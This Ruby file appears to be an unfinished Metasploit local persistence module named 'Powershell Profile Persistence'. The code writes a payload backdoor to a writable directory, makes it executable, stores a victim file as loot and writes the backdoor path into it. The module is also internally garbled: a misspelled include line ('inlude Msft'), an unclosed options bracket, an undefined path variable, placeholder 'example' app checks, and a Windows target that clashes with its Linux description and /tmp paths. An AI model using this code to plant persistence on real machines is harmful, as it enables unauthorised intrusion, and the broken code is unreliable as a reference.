madefourit
102 lines
4.0 KiB
Ruby
102 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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# includes writable?, upload_file, upload_and_chmodx, exploit_data
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include Msf::Post::File
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# includes pwsh
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inlude Msft::Exploit::Powershell
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# includes generate_payload_exe
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include Msf::Exploit::EXE
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# defines install_persistence and does our cleanup
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# WritableDir
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include Msf::Exploit::Local::Persistence
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# runs check automatically
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Powershell Profile Persistence',
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'Description' => %q{
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This exploit sample shows how a persistence module could be written
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for a linux computer.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'madefourit',
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'researcher'
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],
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'Platform' => [ 'win' ],
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'Arch' => [ ARCH_CMD ],
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'SessionTypes' => [ 'meterpreter' ],
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'Targets' => [[ 'Auto', {} ]],
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1546_013_POWERSHELL_PROFILE],
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[ 'URL', 'https://pentestlab.blog/2019/11/05/persistence-powershell-profile/'],
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],
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'DisclosureDate' => '2019-11-05',
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'DefaultTarget' => 0,
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
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}
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)
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)
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# force exploit is used to bypass the check command results
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register_advanced_options [
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OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
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OptEnum.new('PROFILE', [true, 'The powershell profile to target.', 'AUTO', ['AUTO', 'ALLUSERSALLHOSTS', 'ALLUSERSCURRENTHOST', 'CURRENTUSERALLHOSTS', 'CURRENTUSERCURRENTHOST']
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])
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]
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end
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def check
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# Check a example app is installed
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print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
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return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
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return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
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return CheckCode::Safe('example app is required') unless command_exists?('example')
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CheckCode::Detected('example app is installed')
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end
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#
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# The install_persistence method installs the persistence, starts the handler, and does all
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# the main activities
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#
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def install_persistence
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file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
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backdoor = "#{path}/#{file_name}"
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vprint_status("Writing backdoor to #{backdoor}")
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# if an arch_cmd payload is selected, write and chmod the file
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# if an exe payload is selected, write it as an executable file
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if payload.arch.first == 'cmd'
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write_file(backdoor, payload.encoded)
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chmod(backdoor, 0o755)
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else
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upload_and_chmodx backdoor, generate_payload_exe
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end
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# add removing the file to the cleanup script. The script starts as nil, so we want to overwrite it to a string
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@clean_up_rc = "rm #{backdoor}\n"
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# back up an example file that we're going to write into so we can restore it
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# in our cleanup efforts
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example_file = read_file('/tmp/example_file')
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backup_file = store_loot('example.file', 'text/plain', session, example_file, 'example_file', '/tmp/example_file backup')
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print_status("Created /tmp/example_file backup: #{backup_file}")
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# @clean_up_rc is our instance variable string that tracks what needs to be done to remove the persistence by the user.
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@clean_up_rc << "upload #{backup_file} /tmp/example_file\n"
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write_file('/tmp/example_file', backdoor)
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# the cleanup script will automatically be printed when the module is finished
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end
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end
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